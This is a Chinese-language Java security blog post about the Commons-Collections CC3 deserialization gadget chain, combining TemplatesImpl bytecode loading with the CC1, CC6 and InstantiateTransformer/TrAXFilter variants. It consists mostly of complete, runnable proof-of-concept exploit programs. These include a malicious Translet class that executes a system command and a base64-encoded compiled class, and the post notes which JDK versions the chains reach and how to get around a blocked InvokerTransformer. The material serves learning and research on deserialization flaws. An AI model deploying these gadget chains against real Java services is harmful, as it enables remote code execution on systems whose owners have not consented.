CC3

Java学习

CC3

CC3就是将CC1和CC6调用链和动态加载字节码加在一起,所以需要有动态加载字节码的知识。

利用TemplatesImpl构造CC3

在前面博客的文章中,讲述了Java中动态加载字节码的方法,其中就说明了TemplatesImpl的用法,通过调用其newTransformer()来实现链子的起点

在动态加载字节码中,利用TemplatesImpl构建的POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("xxx");
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
        ctf.newTransformer();
        }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

恶意类的示例代码为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

想要在反序列化中利用TemplatesImpl来加载字节码,需要在反序列化中执行TemplatesImpl对象的newTransformer或getOutputProperties方法

结合在CC1中的TransformedMap链的基本代码的简化代码,可以如下构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("xxx");
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
        Transformer chain = new ChainedTransformer(chainPart);

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在就是看如何接入了CC链了

结合CC1

测试环境:

  • commons-collections 3.2.1
  • JDK 8u65

CC3(TransformedMap链)

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.util.Base64;
import java.util.Map;
import java.util.HashMap;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL1Rlc3Q7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAcACAcAJwwAKAApAQAEY2FsYwwAKgArAQAQb3JnL2V4YW1wbGUvVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAoABAALAA0ADAALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQABEAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAA8ACwAAACAAAwAAAAEADAANAAAAAAABABIAEwABAAAAAQAUABUAAgAOAAAABAABABYAAQAQABcAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACoABAAAAAEADAANAAAAAAABABIAEwABAAAAAQAYABkAAgAAAAEAGgAbAAMADgAAAAQAAQAWAAEAHAAAAAIAHQ==");
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
        Transformer chain = new ChainedTransformer(chainPart);
        Map hashMap = new HashMap();
        hashMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(hashMap,null,chain);

        Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        Object o = constructor1.newInstance(Retention.class,outerMap);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功弹出计算机,其实就是将前面的链式执行命令改了一下。

这里要说明一个东西,就是利用链的InvokerTransformer初始化那里,可以和前面的CC1对比一下:

image-20250122134404411

如果 paramTypesargsnull,它们表示该方法没有参数。而如果它们是 new Class[]{null}new Object[]{null},这实际上是表示该方法有一个参数,但是该参数的类型和值都是 null,这种情况很可能导致方法调用失败,因为实际调用的方法没有参数,而代码却试图用一个 null 类型和 null 值进行调用。

所以上面代码需要直接用两个null表示无参数的方法

CC3(LazyMap链)

POC(前面用的base64,这里就用IO读文件):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
import java.util.HashMap;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};
        Transformer chain = new ChainedTransformer(chainPart);
        Map hashMap = new HashMap();
        Map outerMap = LazyMap.decorate(hashMap,chain);

        Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        InvocationHandler proxy = (InvocationHandler) con.newInstance(Retention.class,outerMap);

        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),proxy);
        Object o = con.newInstance(Retention.class,proxyMap);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功弹出计算机。

局限

也就是CC1的局限,在JDK 8u71后就不能再使用了。

结合CC6

测试环境:

  • commons-collections 3.2.1
  • JDK 8u411

CC3(HashMap链)

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map hashMap = new HashMap();
        Map lazy = LazyMap.decorate(hashMap,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap o = new HashMap();
        o.put(outerMap,"xxxx");
        hashMap.remove("fupanc");

        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功弹出计算机。

CC3(HashSet链)

和HashMap差不多,POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;
import java.util.HashSet;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(ctf),new InvokerTransformer("newTransformer",null,null)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map hashMap = new HashMap();
        Map lazy = LazyMap.decorate(hashMap,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashSet hash = new HashSet();
        hash.add(outerMap);
        hashMap.remove("fupanc");

        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

InstantiateTransformer

测试环境:

  • commons-collections 3.2.1
  • JDK 8u65

分析

ysoserial的CC3的POC没有用InvokerTransformer来执行newTransformer方法,而是用的InstantiateTransformer类: image-20250122134420255

InstantiateTransformer类位于org.apache.commons.collections.functors.InstantiateTransformer

来看这个类用到的源码

构造方法:

image-20250122134431073

transform方法:

image-20250122134442519

可以看到这里的transform方法就是可以实例化一个类的。

继续看ysoserial的利用链:

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(
						new Class[] { Templates.class },
						new Object[] { templatesImpl } )};

它前面传入了一个TrAXFilter.class,这个TrAXFilter类位置com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

TrAXFilter类中,有地方调用了newTransformer()方法: image-20250122134453441

这也就是在ysoserial利用链中传入Templates.class的原因(Templates接口类位于javax.xml.transform.Templates),现在大概就清楚了,

只要我们将一个设置好了的TemplatesImpl类赋值给一个变量,再将那个变量传进去当做TrAXFilter的参数变量templates的值,这样就会自然调用到TemplatesImpl类的newTransformer()方法,还是简单给个代码,就像如下:

1
2
3
4
5
6
7
8
byte[] code = Files.readAllBytes(Paths.get("D:\\java_text\\java-1\\out\\production\\java-1\\Test.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","fupanc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl, "_class", null);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};

就是如上,这样InstantiateTransformer的transformer()方法就可以在获取TrAXFilter类的构造方法后再调用newInstance()方法将这个TrAXFilter类实例化,在实例化的过程中,自然就会调用TemplatesImpl的newTransformer()方法:

image-20250122134503995

那么现在就可以尝试构造了。

POC

结合CC1

CC1的TransformedMap链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import javax.xml.transform.Templates;
import java.lang.Class;
import java.util.Map;
import java.util.HashMap;

import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","fupanc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl, "_class", null);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};
        Transformer chain = new ChainedTransformer(chainPart);
        Map hashMap = new HashMap();
        hashMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(hashMap,null,chain);

        Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        Object o = constructor1.newInstance(Retention.class,outerMap);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功弹计算机。

CC1的LazyMap链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import javax.xml.transform.Templates;
import java.lang.Class;
import java.util.Map;
import java.util.HashMap;

import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
        Transformer chain = new ChainedTransformer(chainPart);
        Map hashMap = new HashMap();
        Map outerMap = LazyMap.decorate(hashMap,chain);

        Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        InvocationHandler proxy = (InvocationHandler) con.newInstance(Retention.class,outerMap);

        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),proxy);
        Object o = con.newInstance(Retention.class,proxyMap);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功弹计算机

结合CC6

HashMap链的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;


import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map hashMap = new HashMap();
        Map lazy = LazyMap.decorate(hashMap,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap o = new HashMap();
        o.put(outerMap,"xxxx");
        hashMap.remove("fupanc");

        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功弹计算机

HashSet链的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;
import java.util.HashSet;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;


import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map hashMap = new HashMap();
        Map lazy = LazyMap.decorate(hashMap,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashSet o = new HashSet();
        o.add(outerMap);
        hashMap.remove("fupanc");

        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

好处

首先就是在利用POC的时候一定要注意java版本的问题,结合CC6的基本在java7和java8都通杀。

对于使用InstantiateTransformer类,当不允许使用InvokerTransformer类的时候就可以使用这个。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计